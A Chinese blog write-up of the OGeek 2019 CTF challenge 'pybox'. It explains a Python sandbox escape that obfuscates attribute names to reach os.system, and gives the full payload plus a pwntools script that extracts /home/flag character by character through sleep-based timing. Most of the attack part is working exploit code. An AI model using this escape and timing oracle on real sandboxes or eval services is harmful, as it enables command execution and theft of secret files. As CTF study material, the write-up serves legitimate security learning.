美文网首页Reverse
pybox----ogeek2019

pybox----ogeek2019

作者: Adam_0 | 来源:发表于2019-08-27 13:56 被阅读0次

    这是队内大佬做出来的,复现一下。


    image.png

    看到这个题目想到python沙箱逃逸,而且是基于时间的。第一次接触还不是很懂,在这里记录一下。
    沙箱逃逸参考:
    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape-zh/
    python沙箱逃逸一些套路的小结
    沙箱逃逸我的理解就是,模拟终端,导入一些系统函数,实现任意命令执行。在python上比如说os.system('cat /flag')。如果服务器没有过滤,我们可以直接导入os ,然后就执行命令就会得到flag。 还有很多骚操作我还不懂,还需要继续学习。

    对于这道题直接给出payload:

    payload += '''__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')'''
    
    payload += '''('a=`cut -f '''
    
    payload += str(1)
    
    payload += ''' /home/flag|cut -c '''
    
    payload += str(count)
    
    payload += '''`; [ $a = "'''
    
    payload += letter
    
    payload += '''" ] && sleep 2 ')'''
    #_import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('a=`cut -f 1 /home/flag|cut -c 1`; [ $a = "d" ] && sleep 3 ')
    

    通过盲注的方式,遍历所有可打印字符与flag的字符按顺序比对,如果相等就sleep 3 ,不相等就直接执行下一步命令,所以我们只需要找到运行时间差过两秒的命令就使flag里面的字符之一了。

    脚本如下:

    from pwn import *
    import time
    import string 
    
    p = remote('47.112.108.17',12312)
    alphabet = ['?','!','|','[',']','{','}','_','/','*','-','+','&',"%",'#','@','$','^','~','a','b','c','d','e','f','g','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
    #print alphabet
    
    flag = ''
    count = 0
    sign = 0
    print p.recv()
    print p.recv()
    for i in range(37):
       count += 1
       sign = 0
       for letter in alphabet:
           payload = ''
           payload += '''__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')'''
           payload += '''('a=`cut -f '''
           payload += str(1)
           payload += ''' /home/flag|cut -c '''
           payload += str(count)
           payload += '''`; [ $a = "'''
           payload += letter
           payload += '''" ] && sleep 2 ')'''
           a = time.time()
           p.sendline(payload)
           p.recv()
           b = time.time()
           if (b-a)>1 :
               print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!YES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
               flag+=letter
               sign = 1
               print flag
               break
       if sign == 0:
           print "@@@@@@@@@@@@@@@@@@@@@ERROR@@@@@@@@@@@@@@@@@@@@@@@@@@"
    
    print flag
    
    
    image.png

    相关文章

      网友评论

        本文标题:pybox----ogeek2019

        本文链接:https://www.haomeiwen.com/subject/jwxeectx.html